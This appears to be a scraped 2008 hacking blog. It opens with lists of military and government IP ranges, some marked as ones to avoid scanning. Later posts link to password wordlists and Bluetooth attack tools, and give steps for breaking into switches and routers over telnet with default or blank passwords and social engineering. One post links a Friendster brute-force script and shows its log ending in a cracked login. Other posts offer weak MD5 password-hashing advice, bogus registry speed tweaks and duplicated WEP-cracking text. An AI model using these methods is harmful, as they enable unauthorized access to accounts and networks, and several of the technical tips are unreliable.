204.34.136.0 Naval Undersea Warfare Center USRD - Orlando
204.34.137.0 Joint Spectrum Center
204.34.138.0 GSI
204.34.139.0 HQ, JFMO Korea, Headquarters
204.34.140.0 DISA D75
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan
204.34.142.0 Naval Enlisted Personnel Management Center
204.34.143.0 Afloat Training Group Pacific
204.34.144.0 HQ Special Operations Command - Europe
204.34.145.0 Commander Naval Base Pearl Harbor
204.34.147.0 NAVSEA Information Management Improvement Program
204.34.148.0 Q112
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures
204.34.150.0 Resource Consultants, Inc.
204.34.151.0 Personnel Support Activity, San Diego
204.34.152.0 NAVAL AIR FACILITY, ADAK
204.34.153.0 NAVSEA Logistics Command Detachment
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD
204.34.156.0 Defense Photography School
204.34.157.0 - 204.34.160.0 Defense Information School
204.34.161.0 Naval Air Systems Command
204.34.162.0 Puget Sound Naval Shipyard
204.34.163.0 Joint Precision Strike Demonstration
204.34.164.0 Naval Pacific Meteorology and Ocean
204.34.165.0 Joint Precision Strike Demonstration
204.34.167.0 USAF
204.34.168.0 Commander
204.34.169.0 Naval Air Warfare Center
204.34.170.0 Naval Air Systems Command
204.34.171.0 NAVSTA SUPPLY DEPARTMENT
204.34.173.0 SUBMEPP Activity
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN
204.34.176.0 DISA-PAC,IPC-GUAM
204.34.177.0 Satellite Production Test Center
204.34.181.0 940 Air Refueling Wing
204.34.182.0 Defense Megacenter Warner Robins
204.34.183.0 GCCS Support Facility
204.34.184.0 Nav Air Tech Serv Facility-Detachment
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA
204.34.186.0 Defense Logistics Agency - Europe
204.34.187.0 NAVMASSO
204.34.188.0 Commander-In-Chief, US Pacific Fleet
204.34.189.0 Defense MegaCenter - St Louis
204.34.190.0 NAVMASSO
204.34.192.0 HQ SOCEUR
204.34.193.0 Second Marine Expeditionary Force
204.34.194.0 Second Marine Expeditionary Force
204.34.195.0 Second Marine Expeditionary Force
204.34.196.0 NAVCOMTELSTAWASHDC
204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.198.0 Naval Observatory Detachment, Colorado
204.34.199.0 NAVILCODETMECH
204.34.200.0 Navy Environmental Preventive Medicine
204.34.201.0 Port Hueneme Division, Naval Surf
204.34.202.0 Naval Facilities Engineering Housing
204.34.203.0 NAVSEA Logistics Command Detachment
204.34.204.0 Naval Air Warfare Center
204.34.205.0 Portsmouth Naval Shipyard
204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific
204.34.211.0 USAF Academy
204.34.212.0 3rd Combat Service Support
204.34.213.0 1st Radio Battalion
204.34.214.0 OASD (Health Affairs)
204.34.215.0 Second Marine Expeditionary Force
204.34.216.0 1st Marine Air Wing
204.34.217.0 SA-ALC/LTE
204.34.218.0 3rd Marine
204.34.219.0 Communications and Electronics
204.34.220.0 G-6 Operations
204.34.221.0 G-6 Operations
204.34.222.0 G-6 Operations
204.34.223.0 G-6 Operations
204.34.224.0 G-6 Operations
204.34.225.0 Joint Interoperability Test Command
204.34.226.0 NAVMASSO
204.34.227.0 NAVMASSO
204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency
204.34.229.0 Naval Space Command
204.34.230.0 Naval Pacific Meteorology and Oceanography
204.34.232.0 Military Family Housing
204.34.233.0 - 204.34.233.255 Navy Material Transportation Office
204.34.234.0 NAVMASSO
204.34.235.0 Defense Finance and Accounting Service
204.34.237.0 European Stars and Stripes
204.34.238.0 Pacific Stars and Stripes
204.34.239.0 PUGET SOUND NAVAL SHIPYARD
204.34.240.0 Nval Station, Guantanamo Bay
204.34.242.0 COMNAVSURFPAC
204.34.243.0 NAVMASSO
204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy
204.34.245.0 USAF SpaceCommand
204.34.246.0 USAF
204.34.247.0 U.S. Army Special Operations Command
204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA
204.34.249.0 Naval Aviation Depot North Island
204.34.250.0 NAVMASSO
204.34.251.0 NAVSEA Log Command Detachment Pacific
204.34.252.0 Command Special Boat Squadron One
204.34.253.0 AFPCA/GNNN
204.34.254.0 Navy Environmental Preventive Medicine

RANGE 205
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval
Warfare System Command, Washington DC - SPAWAR
205.96.* - 205.103.*

RANGE 207
207.30.* Sprint/United Telephone of Florida

All the below are FBI controlled Linux servers & IPs/IP-Ranges

207.60.0.0 - 207.60.255.0 The Internet Access Company
207.60.2.128 - 207.60.2.255 Abacus Technology
207.60.3.0 - 207.60.3.127 Mass Electric Construction Co.
207.60.3.128 - 207.60.3.255 Peabody Proberties Inc
207.60.4.0 - 207.60.4.127 Northern Electronics
207.60.4.128 - 207.60.4.255 Posternak, Blankstein & Lund
207.60.5.64 - 207.60.5.127 Woodard & Curran
207.60.5.192 - 207.60.5.255 On Line Services
207.60.6.0 - 207.60.6.63 The 400 Group
207.60.6.64 - 207.60.6.127 RD Hunter and Company
207.60.6.128 - 207.60.6.191 Louis Berger and Associates
207.60.6.192 - 207.60.6.255 Ross-Simons
207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank
207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee
207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc
207.60.8.0 - 207.60.8.255 Sippican
207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co
207.60.9.32 - 207.60.9.63 Escher Group Ltd
207.60.9.64 - 207.60.9.95 West Suburban Elder
207.60.9.96 - 207.60.9.127 Central Bank
207.60.9.128 - 207.60.9.159 Danick Systems
207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO
207.60.9.192 - 207.60.9.223 BSCC
207.60.13.16 - 207.60.13.23 Patrons Insurance Group
207.60.13.40 - 207.60.13.47 Athera Technologies
207.60.13.48 - 207.60.13.55 Service Edge Partners Inc
207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League
207.60.13.64 - 207.60.13.71 SierraCom
207.60.13.72 - 207.60.13.79 AI/ FOCS
207.60.13.80 - 207.60.13.87 Extreme soft
207.60.13.96 - 207.60.13.103 Eaton Seo Corp
207.60.13.112 - 207.60.13.119 C. White
207.60.13.120 - 207.60.13.127 Athera
207.60.13.128 - 207.60.13.135 Entropic Systems, INC
207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates
207.60.13.160 - 207.60.13.167 Jamestown Distribution
207.60.13.168 - 207.60.13.175 C&M Computers
207.60.13.176 - 207.60.13.183 ABC Used Auto Parts
207.60.13.184 - 207.60.13.191 Tomas Weldon
207.60.13.192 - 207.60.13.199 Tage Inns
207.60.13.200 - 207.60.13.207 Control Module Inc
207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems
207.60.13.216 - 207.60.13.223 Eastern Bearings
207.60.13.224 - 207.60.13.231 North Shore Data Services
207.60.13.232 - 207.60.13.239 Mas New Hampshire
207.60.14.0 - 207.60.14.255 J. A. Webster
207.60.15.0 - 207.60.15.127 Trilogic
207.60.16.0 - 207.60.16.255 Area 54
207.60.18.0 - 207.60.18.63 Vested Development Inc
207.60.18.64 - 207.60.18.127 Conventures
207.60.21.0 - 207.60.21.255 Don Law Company
207.60.22.0 - 207.60.22.255 Advanced Microsensors
207.60.28.0 - 207.60.28.63 Applied Business Center
207.60.28.64 - 207.60.28.127 Color and Design Exchange
207.60.36.8 - 207.60.36.15 Shaun McCusker
207.60.36.16 - 207.60.36.23 Town of Framingham
207.60.36.24 - 207.60.36.31 AB Software
207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc
207.60.36.40 - 207.60.36.47 Next Ticketing
207.60.36.48 - 207.60.36.55 Dulsi
207.60.36.56 - 207.60.36.63 The Internet Access Company
207.60.36.64 - 207.60.36.71 Maguire Group
207.60.36.72 - 207.60.36.79 Cogenex
207.60.36.88 - 207.60.36.95 AKNDC
207.60.36.96 - 207.60.36.103 McGovern election commitee
207.60.36.104 - 207.60.36.111 Digital Equipment Corp
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies
207.60.36.120 - 207.60.36.127 Extech
207.60.36.128 - 207.60.36.135 Manfreddi Architects
207.60.36.144 - 207.60.36.151 Parent Naffah
207.60.36.152 - 207.60.36.159 Darling Dolls Inc
207.60.36.160 - 207.60.36.167 Wright Communications
207.60.36.168 - 207.60.36.175 Principle Software
207.60.36.176 - 207.60.36.183 Chris Pet Store
207.60.36.184 - 207.60.36.191 Fifteen Lilies
207.60.36.192 - 207.60.36.199 All-Com Technologies
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A.
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors
207.60.37.96 - 207.60.37.127 Nelson Copy Supply
207.60.37.128 - 207.60.37.159 Boston Optical Fiber
207.60.37.192 - 207.60.37.223 Fantasia&Company
207.60.41.0 - 207.60.41.255 Infoactive
207.60.48.0 - 207.60.48.255 Curry College
207.60.62.32 - 207.60.62.63 Alternate Power Source
207.60.62.64 - 207.60.62.95 Keystone Howley-White
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD
207.60.62.160 - 207.60.62.191 County Supply
207.60.62.192 - 207.60.62.223 NH Board of Nursing
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies
207.60.64.64 - 207.60.64.127 Phytera
207.60.66.0 - 207.60.66.15 The Network Connection
207.60.66.16 - 207.60.66.31 Young Refrigeration
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology
207.60.66.48 - 207.60.66.63 EffNet Inc
207.60.66.64 - 207.60.66.79 Entropic Systems Inc
207.60.66.80 - 207.60.66.95 Finley Properties
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies
207.60.66.128 - 207.60.66.143 Textnology Corp
207.60.66.144 - 207.60.66.159 Groton Neochem LLC
207.60.66.160 - 207.60.66.175 Tab Computers
207.60.66.176 - 207.60.66.191 Patrons Insurance
207.60.66.192 - 207.60.66.207 Chair City Web
207.60.66.208 - 207.60.66.223 Radex, Inc.
207.60.66.224 - 207.60.66.239 Robert Austein
207.60.66.240 - 207.60.66.255 Hologic Inc.
207.60.71.64 - 207.60.71.127 K-Tech International Inc.
207.60.71.128 - 207.60.71.191 Pan Communications
207.60.71.192 - 207.60.71.255 New England College of Finance
207.60.75.128 - 207.60.75.255 Absolve Technology
207.60.78.0 - 207.60.78.127 Extech
207.60.78.128 - 207.60.78.255 The Insight Group
207.60.83.0 - 207.60.83.255 JLM Technologies
207.60.84.0 - 207.60.84.255 Strategic Solutions
207.60.94.0 - 207.60.94.15 McWorks
207.60.94.32 - 207.60.94.47 Rooney RealEstate
207.60.94.48 - 207.60.94.63 Joseph Limo Service
207.60.94.64 - 207.60.94.79 The Portico Group
207.60.94.80 - 207.60.94.95 Event Travel Management Inc
207.60.94.96 - 207.60.94.111 Intellitech International
207.60.94.128 - 207.60.94.143 Orion Partners
207.60.94.144 - 207.60.94.159 Rainbow Software Solution
207.60.94.160 - 207.60.94.175 Grason Stadler Inc
207.60.94.192 - 207.60.94.207 Donnegan System
207.60.95.1 - 207.60.95.255 The Iprax Corp
207.60.102.0 - 207.60.102.63 Coporate IT
207.60.102.64 - 207.60.102.127 Putnam Technologies
207.60.102.128 - 207.60.102.191 Sycamore Networks
207.60.102.192 - 207.60.102.255 Bostek
2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates
207.60.104.128 - 207.60.104.191 Hanson Data Systems
207.60.106.128 - 207.60.106.255 Giganet Inc.
207.60.107.0 - 207.60.107.255 Roll Systems
207.60.108.8 - 207.60.108.15 InternetQA
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank
207.60.111.32 - 207.60.111.63 Edco collaborative
207.60.111.64 - 207.60.111.95 DTC Communications Inc
207.60.111.96 - 207.60.111.127 Mike Line
207.60.111.128 - 207.60.111.159 The Steppingstone Foundation
207.60.111.160 - 207.60.111.191 Caton Connector
207.60.111.192 - 207.60.111.223 Refron
207.60.111.224 - 207.60.111.255 Dolabany Comm Group
207.60.112.0 - 207.60.112.255 The CCS Companies
207.60.116.0 - 207.60.116.255 Continental PET Technologies
207.60.122.16 - 207.60.122.23 Corey & Company Designers Inc
207.60.122.24 - 207.60.122.31 SAIC
207.60.122.32 - 207.60.122.39 Netserve Entertainment Group
207.60.122.40 - 207.60.122.47 Avici Systems Inc
207.60.122.48 - 207.60.122.55 Webrdwne
207.60.122.56 - 207.60.122.63 Reality and Wonder
207.60.122.64 - 207.60.122.71 Nishan Desilva
207.60.122.72 - 207.60.122.79 NemaSoft Inc
207.60.122.80 - 207.60.122.87 Patrick Murphy
207.60.122.88 - 207.60.122.95 Corey and Company
207.60.122.96 - 207.60.122.103 Ames Textile Corp
207.60.122.104 - 207.60.122.111 Publicom
207.60.127.0 - Northstar Technologies
207.60.128.0 - 207.60.128.255 Northstar Technologies
207.60.129.0 - 207.60.129.255 Sanga Corp
207.60.129.64 - 207.60.129.127 Fired Up Network
207.60.129.128 - 207.60.129.191 Integrated Data Solutions
207.60.129.192 - 207.60.129.255 Metanext
207.61.* WorldLinx Telecommunications, Inc., Canada
207.120.* BBN Planet, MA

RANGE 208
208.240.xxx.xxx

RANGE 209
209.35.* Interland, Inc., GA

RANGE 212
212.56.107.22
212.143 *** israelis isp's!! dont try those ranges!!
212.149.*** israelis isp's!! dont try those ranges!!
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.33.56
212.159.40.211
212.159.41.173
212.179.*** israelis isp's!! dont try those ranges!!
212.208.0.12.*** israelis isp's!! dont try those ranges!!

RANGE 213
213.8.***.*** israelis isp's!! dont try those ranges!!

RANGE 216
216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217
217.6.* Do not scan

--------------------------------

And from our Canadian friends...

192.139.201.0 - 192.139.201.24 : Government of Canada
192.139.202.0 - 192.139.202.24 : Government of Canada
192.139.203.0 - 192.139.203.24 : Government of Canada
192.139.204.0 - 192.139.204.24 : Government of Canada
192.197.83.0 - 192.197.83.24 : Government of Canada
198.103.0.0 - 198.103.0.16 : Government of Canada

128.43.0.0 - 128.43.0.16 : Canadian Department of National Defense (DND)
131.132.0.0 - 131.132.0.16 : Canadian Department of National Defense (DND)
131.133.0.0 - 131.133.0.16 : Canadian Department of National Defense (DND)
131.134.0.0 - 131.134.0.16 : Canadian Department of National Defense (DND)
131.135.0.0 - 131.135.0.16 : Canadian Department of National Defense (DND)
131.136.0.0 - 131.136.0.16 : Canadian Department of National Defense (DND)
131.137.0.0 - 131.137.0.16 : Canadian Department of National Defense (DND)
131.138.0.0 - 131.138.0.16 : Canadian Department of National Defense (DND)
131.139.0.0 - 131.139.0.16 : Canadian Department of National Defense (DND)
131.140.0.0 - 131.140.0.16 : Canadian Department of National Defense (DND)
131.141.0.0 - 131.141.0.16 : Canadian Department of National Defense (DND)
192.5.144.0 - 192.5.144.24 : Canadian Department of National Defense (DND)
192.12.98.0 - 192.12.98.24 : Canadian Department of National Defense (DND)
192.12.215.0 - 192.12.215.24 : Canadian Department of National Defense
(DND)
192.16.205.0 - 192.16.205.24 : Canadian Department of National Defense
(DND)
192.16.206.0 - 192.16.206.24 : Canadian Department of National Defense
(DND)
192.16.207.0 - 192.16.207.24 : Canadian Department of National Defense
(DND)
192.16.208.0 - 192.16.208.24 : Canadian Department of National Defense
(DND)
192.16.242.0 - 192.16.242.24 : Canadian Department of National Defense
(DND)
192.16.243.0 - 192.16.243.24 : Canadian Department of National Defense
(DND)
192.35.144.0 - 192.35.144.24 : Canadian Department of National Defense
(DND)
192.42.68.0 - 192.42.68.24 : Canadian Department of National Defense (DND)

TCLH autor

Dictionary Files and Word Lists - Passlist

2008-04-24T09:25:00.002+07:00

ftp://ftp.cerias.purdue.edu/pub/dict

ftp://ftp.ox.ac.uk/pub/wordlists

http://packetstormsecurity.nl/Crackers/wordlists

www.outpost9.com/files/WordLists.html

Default vendor passwords
www.cirt.net/cgi-bin/passwd.pl

by: http://hackersparadise.synthasite.com

Bluetooth Hacking Source

2008-04-24T09:20:00.001+07:00

BlueScanner
www.networkchemistry.com/products/bluescanner.php

Bluesnarfer
www.alighieri.org/tools/bluesnarfer.tar.gz

BlueSniper rifle
www.tomsnetworking.com/2005/03/08/how_to_bluesniper_pt

Blooover
http://trifinite.org/trifinite_stuff_blooover.html

Bluejacking community site
www.bluejackq.com

Detailed presentation on the various Bluetooth attacks
http://trifinite.org/Downloads/21c3_Bluetooth_Hacking.pdf

NIST Special Publication 800-48
http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf

Mengembalikan Data Hilang - Recovery

2008-04-24T08:09:00.002+07:00

Apakah Anda pernah secara tidak sengaja menghapus file Anda, kemudian sudah meng-empty recycle bin? Atau Anda telah mem-format hard disk tapi ingin data Anda kembali? Atau data hilang / rusak karena virus? Atau karena komputer mati atau restart tiba-tiba? Ada cara untuk mengembalikan data yang hilang, yaitu dengan satu software yang sangat lengkap, yaitu Ontrack EasyRecovery Professional. Inilah cara-cara mengembalikan data Anda yang hilang .

Pertama Anda harus download dulu software tersebut, silakan klik di sini untuk download software Ontrack Easy Recovery Professional. Pilih External Mirror #1.

Jika data Anda yang hilang di drive C:, sebaiknya install di komputer atau sistem operasi lain. Jika data yang hilang di drive selain C:, Anda bisa menginstall software ini di mana saja di komputer yang sama, asalkan tidak berada salam satu drive dengan data yang hilang tadi.

Software ini menyediakan sebuah solusi yang sangat komplit sehubungan dengan data yang hilang atau urusan recovery data yang hilang karena:

Virus.
Sektor yang tidak terbaca
Kesalahan aplikasi, system, atau shut down yang tidak normal.
Kerusakan pada critical area.
Ter-format
Penyebab lain yang memungkinkan hilangnya data.

Software ini di-install pada Windows 98 SE, Me, 2000, or XP, dan dapat me-recover data untuk pada semua sistem windows. Software ini memiliki empat feature utama, yaitu:

Disk Diagnostics, yaitu tool untuk mengecek kondisi hardisk Anda apakah masih bagus atau tidak.
Data Recovery, yaitu tool untuk mengembalikan data / file karena terhapus, terformat, dan sebagainya.
Email Repair, yaitu tool untuk mengembalikan data email Outlook Express yang terhapus atau rusak.
File Repair, yaitu tool untuk memperbaiki data / file Microsoft Word, Excel, Access, PowerPoint, dan ZIP (winzip) file yang rusak karena virus atau sebab lain.

Mari kita lihat satu per satu fasilitas yang ada dalam software ini.

1. Disk Diagnostics

Tool yang ada dalam Disk Diagnostics ini adalah:

Data Advisor, untuk membuat disket recovery.
Drive Tests, untuk mengetes kondisi fisik dari hard disk (disk drive).
Jumper Viewer, untuk melihat posisi jumper pada hard disk.
Partition Tests, untuk mengecek kondisi partisi hardisk.
Size Manager, untuk melihat kapasitas hard disk
SMART Tests, digunakan untuk mengetes kondisi Self-Monitoring, Analysis and Reporting Technology pada suatu hardisk.

2. Data Recovery

Tool-tool yang ada dalam Data Recovery ini adalah:

Advanced Recovery, untuk mencari data yang sudah tidak dapat di-recover dengan tool lain, yaitu karena ter-format, ter-partisi, virus, atau hal lain.
Deleted Recovery, untuk mencari data yang sudah dihapus. Ini adalah tool yang paling sering dipakai penulis.
Format Recovery, untuk mencari data pada hard disk yang sudah di-format.
Raw Recovery, untuk mencari file yang hilang berdasarkan signature.
Resume Recovery, semua proses recovery dapat dihentikan sementara dan dilanjutkan pada lain waktu.
Emergency Media, untuk membuat disket atau CD yang digunakan untuk me-recover data / file hilang.

3. Email Repair, digunakan untuk mengembalikan data email Outlook dan Outlook Express yang hilang.

4. File Repair, digunakan untuk mengembalikan file-file Microsoft Office dan ZIP yang rusak. Tool ini dapat memperbaiki file Microsoft Word, Excel, Access, PowerPoint, dan ZIP (winzip) file yang corrupt / rusak karena virus atau sebab lain.

Data atau file yang hilang lebih sulit di-recover jika:

Anda menambahkan file baru setelah Anda menghapus atau memformat hard disk.
Anda menggunakan FAT32 dalam Windows XP.

Demikian cara mengembalikan data yang hilang dengan software EasyRecovery Professional. Semoga data Anda bisa diselamatkan.

Thanks to:

Penulis: Oka Mahendra (http://tutorialgratis.wordpress.com)

Encrypting usernames and passwords .ASP

2008-04-23T20:02:00.001+07:00

Using the md5 and sha1 hash functions

If you're using a login script on your site you probably store usernames and passwords in a database for authenticating the login.

For security reasons, you should never store these as plain text but should encrypt them with a one-way hash function such as md5 or sha1.

As neither of these funtions are included with ASP, you'll need to download and unzip the hash function you want to use and upload it to your webspace.

To use the functions, include the file in the pages you want to use hashing.

Then you simply call the function with either:
<% MD5("string") or SHA1("string") %>

For example, if you wanted to encrypt a Username and Password on a signup form, you would collect the Username and Password from the submitted form, hash them and then insert the hashed values into your database

<% strHashedUsername = MD5(Request.Form("Username")) strHashedPassword = MD5(Request.Form("Password")) %>

To authenticate a user who is attempting to sign in, Hash the username and Password from the form and compare these with the strHashedUsername and strHashedPassword stored in your database.

If a user forgets their password you'll need to generate a new, pseudo-random password for the user as hashing is one-way can't be unencrypted.

Download md5.zip
Download sha1.zip

[markvoss]

Video : Advanced Mysql Injection in Joomla

2008-04-20T09:09:00.005+07:00

this will be straight post , i’ll share you the latest video hacking tutorial from milw0rm.com. it’s Advanced Mysql Injection in Joomla by bi_gys, it tested localy to prove the bug. it provide the the bug and complete step how to use this bug. and why i share here, cause some people doesn’t know how to download the vidoe from milw0m.so to help you you can download the damn video here. LoL

Enjoyed

Hacking Router and Switch

2008-04-20T09:06:00.001+07:00

the hacking technique that i will tell to you is very old technique , what we will do is very depend of your luck. :D but we also have some literatur to make you success percentage become higher. what you only need to know is the type and the brand of the Switch and Router. if you don’t know it you still have a chance to get “in” but it not easy of course.the first technique i tell(you know the type and brand the target) you is depend of your luck because it will brute force.but the second is depend of your skill fo “social enginering”. this technique is not common hacking technique it not need any tools. its just use your head. your intellegence will tested here because you need to guess the passowrd and the username with only chat and asking random question to the network administrator. you now , yesterday i read some one post that tell that we can hack yahoo! or hotmail email just use this technique. of course we can , but it very difficult to guess the password since we may only have to pick one password from everthing you can think!!.First how can we hack a switch just use one tools . and this tools is very common tools.we will use port scanner. and this is the step :

* Scan your Local Network using some tools you can use Angry IP Scanner like i do. and you only need Scanning for OPEN port 23.this port is usually use for switch
* after getting the IP you can try the telnet connection to that IP. telnet [IP target] 23

and now your intellegence will tested. of course we don’t know the username and password for that switch. but i bet the username “administrator” or “admin” that standart username for network engine like that will work. you can use one of that username and now all depend of your luck. to higher our chance to get pass you can read the default password list for all type.but i dont have the list of default password for switch so you need to use “social enginering” technique. good luck :D just incase try to keep the password (empthy) maybe it will work.because it works for me.. :D

and now for Router. luckly i have the list of default pasword for Router. and it hundreds !! and over. you can chose one of this. or you can read here router-default-password. that al l happy hacking..

Friendster Password BruteForce Script

2008-04-20T08:34:00.002+07:00

To download this Friendster.com Password BruteForce Script , you can get it directly from http://www.darkc0de.com/bruteforce/friendsterbf.py .

Another Friendster hacking post .. (I’m actually tired of this topic , but since most of the visitors of this blog have asked me a lot about Friendster hacking topics through email , I decided to keep posting on this topic )

Today I just want to share a python script that I found in the wild , It’s called Friendster.com BruteForce . And as You expected , it’s a script to automate the bruteforce attack against Friendster.com ’s login form . That’s How you would break into someone’s Friendster.com account.

The preview of the working script :

[+] Testing Proxy…
[+] Proxy: 148.233.159.58:3128
[+] Verbose Mode On

[+] BruteForcing: http://www.friendster.com/login.php
[+] Email: @yahoo.com
[+] Words Loaded: 2290

[-] Login Failed: 12345
[-] Login Failed: abc123
[-] Login Failed: password
[-] Login Failed: passwd
[-] Login Failed: 123456
[-] Login Failed: newpass
[-] Login Failed: notused
[-] Login Failed: Hockey
[-] Login Failed: internet
[-] Login Failed: asshole
[-] Login Failed: Maddock
[-] Login Failed: 12345678
[-] Login Failed: newuser
[-] Login Failed: computer
[-] Login Failed: Internet
[-] Login Failed: Mickey
[-] Login Failed: qwerty
[-] Login Failed: fiction
[-] Login Failed: Cowboys
[-] Login Failed: Jordan
[-] Login Failed: Hatton
[-] Login Failed: test
[-] Login Failed: Michael
[-] Login Failed: ou812
[-] Login Failed: orange
[-] Login Failed: 1234
[-] Login Failed: Beavis
[-] Login Failed: 123
[-] Login Failed: tigger
HTTP Error 500: Server Error

[!] Login Successfull: @yahoo.com Soccer

CMD Windows like shell Linux

2008-04-20T08:25:00.002+07:00

Sometimes

I use windows. I know and like linux but not as a desktop operating system.
I often find myself typing “ls” or “cat” inside the windows shell, which obviously returns an error.

I started to P.I.M.P. my windows shell (cmd.exe)

I downloaded unxutils from sourceforge unpacked the archive,
went to usr\local\wbin copied every file that is there and pasted them in c:\windows\system32\ without replacing the windows utilities (there are 3 files that i don’t recommend overwriting)
Now i have ls, cat, tee, grep …
Downloaded netcat for windows copied all the files in c:\windows\system32\
Now i have nc - a very good telnet client, and can also be used as a server
I got pstools from sysinternals put the executables in c:\windows\system32\
Plus nmap for windows put it in the same windows path.
A must use tool…
I also like hping2, for those who don’t know it, it’s a packet crafter.

Now you can use your windows command line. Until now it was pretty much useless.

Now you can
nmap -A -O -vv websecurity.ro | tee websecurity_report.txt | grep open

Setting Speed Faster Windows

2008-04-20T08:22:00.002+07:00

——————————————-
PC MORE FASTER MORE THAN BEFORE
================================
HKEY_CURRENT_USER\Control Panel\Desktop
then select
MenuShowDelay
change 400 to 0

——————————————
MAKE COPY EASY N FASTER
==========================
HKEY_CURRENT_USER\Control Panel\Desktop
then change PaintDesktopVersion from 0 to1

———————————————–
CHANGE THE ORGANIZATION OR THE OWNER NAMES
========================================
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
then on RegisteredOrganization and RegisteredOwner
you can type any thing you want

—————————————————-

MAKE APPLICATION OPEN MORE POWER
===========================================
HKEY_CLASSES_ROOT\exefile
then right click on shell and make new key and putit name is
high priority
and then click on high priority and make new key and put it name is
command
and in the other side modify the value to
c:\WINDOWS\System32\cmd.exe /c start “runhigh” /high “%1

——————————————————-

MAKE A COPY TO FOLDER AND MOVE TO FOLDER IN CONTEXT MENU OPTION
===================================
HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex
AND ON THE “ContextMenuHandlers”
RIGHT CLICK AND MAKE A NEW KEY AND NAME IT “COPY TO FOLDER…”
THEN IN OTHER SIDE DOUBLE CLICK AND PUT THE FOLLWING
{C2FBB630-2971-11d1-A18C-00C04FD75D13}
REPET ONE MORE AND MAKE NEW KEY BUT TIS TIME NAME IT TO ” MOVE TO FOLDER…”
{C2FBB631-2971-11d1-A18C-00C04FD75D13}

AND RESTART THE PC

————————————————————
INCREASE YOUR CONNECTION
========================
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Internet Settings

then make 3 new values
MaxConnectionsPer1_0Server value (a)
MaxConnectionsPer1_0Server value (b)
MaxConnectionsPerServer value (a)-

——————————–
START MENU
===========
RUN
TYPE “SYSTEM.INI”
AND IN THE END
PUT THE FOLLWING

page buffer=100000kbps
load=100000kbps
Download=100000kbps
save=100000kbps
back=100000kbps

——————————————————–
PUT YOU NAME ON WINDOW TITLE
===============================

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
and type
WINDOW TITLE
================================================== =====

Wireless Hacking Live-CD - FBI version

2008-04-19T08:21:00.001+07:00

By Yudhax

Five InterChangeAble Mirrors By Tâñvïr¥û$ûF For RapidSearching.CoM

Live Cd For Wireless Hacking, Also Used By The Fbi
This version is for all systems except systems with the Intel B/G wireless cards (IPW2200).
- Live CD with all the tools you need to hack a WLAN / wireless Access point -
Linux Live-CD - OS runs from CD - 635 mb - .iso
- also used by the FBI …

WEP Hacking - The Next Generation

WEP is an encryption scheme, based on the RC-4 cipher, that is available on all 802.11a, b and g wireless products. WEP uses a set of bits called a key to scramble information in the data frames as it leaves the access point or client adapter and the scrambled message is then decrypted by the receiver.
Both sides must have the same WEP key, which is usually a total of 64 or 128 bits long. A semi-random 24 bit number called an Initialization Vector (IV), is part of the key, so a 64 bit WEP key actually contains only 40 bits of “strong” encryption while a 128 bit key has 104. The IV is placed in encrypted frame’s header, and is transmitted in plain text.
Traditionally, crac*ing WEP keys has been a slow and boring process. An attacker would have to capture hundreds of thousands or millions of packetsâ€”a process that could take hours or even days, depending on the volume of traffic passing over the wireless network. After enough packets were captured, a WEP crac*ing program such as Aircrac* would be used to find the WEP key.
Fast-forward to last summer, when the first of the latest generation of WEP cracking tools appeared. This current generation uses a combination of statistical techniques focused on unique IVs captured and brute-force dictionary attacks to break 128 bit WEP keys in minutes instead of hours. As Special Agent Bickers noted, “It doesn’t matter if you use 128 bit WEP keys, you are vulnerable!”
WEP is an encryption scheme, based on the RC-4 cipher, that is available on all 802.11a, b and g wireless products.
WEP uses a set of bits called a key to scramble information in the data frames as it leaves the access point or client adapter and the scrambled message is then decrypted by the receiver.
Both sides must have the same WEP key, which is usually a total of 64 or 128 bits long.
A semi-random 24 bit number called an Initialization Vector (IV), is part of the key, so a 64 bit WEP key actually contains only 40 bits of “strong” encryption while a 128 bit key has 104.
The IV is placed in encrypted frame’s header, and is transmitted in plain text.
Traditionally, cracking WEP keys has been a slow and boring process.
An attacker would have to capture hundreds of thousands or millions of packets a process that could take hours or even days, depending on the volume of traffic passing over the wireless network.
After enough packets were captured, a WEP cracking program such as Aircrack would be used to find the WEP key.
Fast-forward to last summer, when the first of the latest generation of WEP cracking tools appeared.
This current generation uses a combination of statistical techniques focused on unique IVs captured and brute-force dictionary attacks to break 128 bit WEP keys in minutes instead of hours.
